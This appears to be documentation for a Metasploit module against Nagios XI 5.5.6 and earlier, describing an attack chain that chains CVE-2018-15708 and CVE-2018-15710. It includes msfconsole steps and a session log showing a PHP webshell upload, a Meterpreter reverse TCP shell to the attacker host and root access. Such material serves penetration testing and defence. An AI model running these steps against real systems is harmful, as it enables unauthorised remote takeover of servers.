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Vulnerable Application

This module exploits two vulnerabilities in Nagios XI <= 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE-2018-15710 which allows for local privilege escalation. When combined, these two vulnerabilities allow execution of arbitrary commands as root.

The exploit works as follows:

A local HTTPS server is setup. When it is reached, this server responds with a payload.
By crafting a malicious request, we make the target host send a request to our HTTPS server.
- The local HTTPS server must be reachable from the Nagios host.
- The RSRVHOST and RSRVPORT options are used to specify the HTTPS server host and port.
A PHP webshell and payload executable are uploaded via magpie_debug.php.
A command is executed via the webshell. This command elevates privileges and runs the payload executable.

Verification Steps

Download a vulnerable version of the Nagios XI virtual appliance:

Or download a vulnerable application installer and follow the installation instructions.

Metasploit:

msfconsole
use exploit/linux/http/nagios_xi_magpie_debug
set RHOSTS [IP]
set RSRVHOST [IP]
exploit
You should get a new session with root privileges

Options

RSRVHOST

IP address at which the local HTTPS server can be reached. Most of the time it will be a public IP (e.g. your router IP if you have port forwarding).

RSRVPORT

Port at which the local HTTPS server can be reached.

Scenarios

NagiosXI 5.5.6 (x64) virtual appliance

msf > use exploit/linux/http/nagios_xi_magpie_debug
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/nagios_xi_magpie_debug) > set rhosts 10.1.1.113
rhosts => 10.1.1.113
msf exploit(linux/http/nagios_xi_magpie_debug) > set rsrvhost 10.1.1.114
rsrvhost => 10.1.1.114
msf exploit(linux/http/nagios_xi_magpie_debug) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.1.1.114:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Found MagpieRSS.
[*] Using URL: https://0.0.0.0:8080/iRtxnl8L
[*] Local IP: https://10.1.1.114:8080/iRtxnl8L
[*] Server started.
[*] Uploading to /usr/local/nagvis/share/fbHGUhauqtV.php ...
[+] fbHGUhauqtV.php uploaded successfully!
[*] Using URL: https://0.0.0.0:8080/YvyES7YlFee8R
[*] Local IP: https://10.1.1.114:8080/YvyES7YlFee8R
[*] Server started.
[*] Uploading to /usr/local/nagvis/share/nYRTioXKBam ...
[+] nYRTioXKBam uploaded successfully!
[*] Checking PHP web shell: /nagvis/fbHGUhauqtV.php
[+] Success! Commands executed as user: uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
[*] Attempting privilege escalation ...
[*] Sending stage (3008420 bytes) to 10.1.1.113
[*] Meterpreter session 1 opened (10.1.1.114:4444 -> 10.1.1.113:42314) at 2021-03-16 02:58:20 -0400
[+] Deleted /usr/local/nagvis/share/fbHGUhauqtV.php
[+] Deleted /usr/local/nagvis/share/nYRTioXKBam
[!] This exploit may require manual cleanup of '/var/tmp/hRyNmrQHZAq.nse' on the target
[*] Server stopped.

msf exploit(linux/http/nagios_xi_magpie_debug) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.5.1804 (Linux 3.10.0-862.14.4.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

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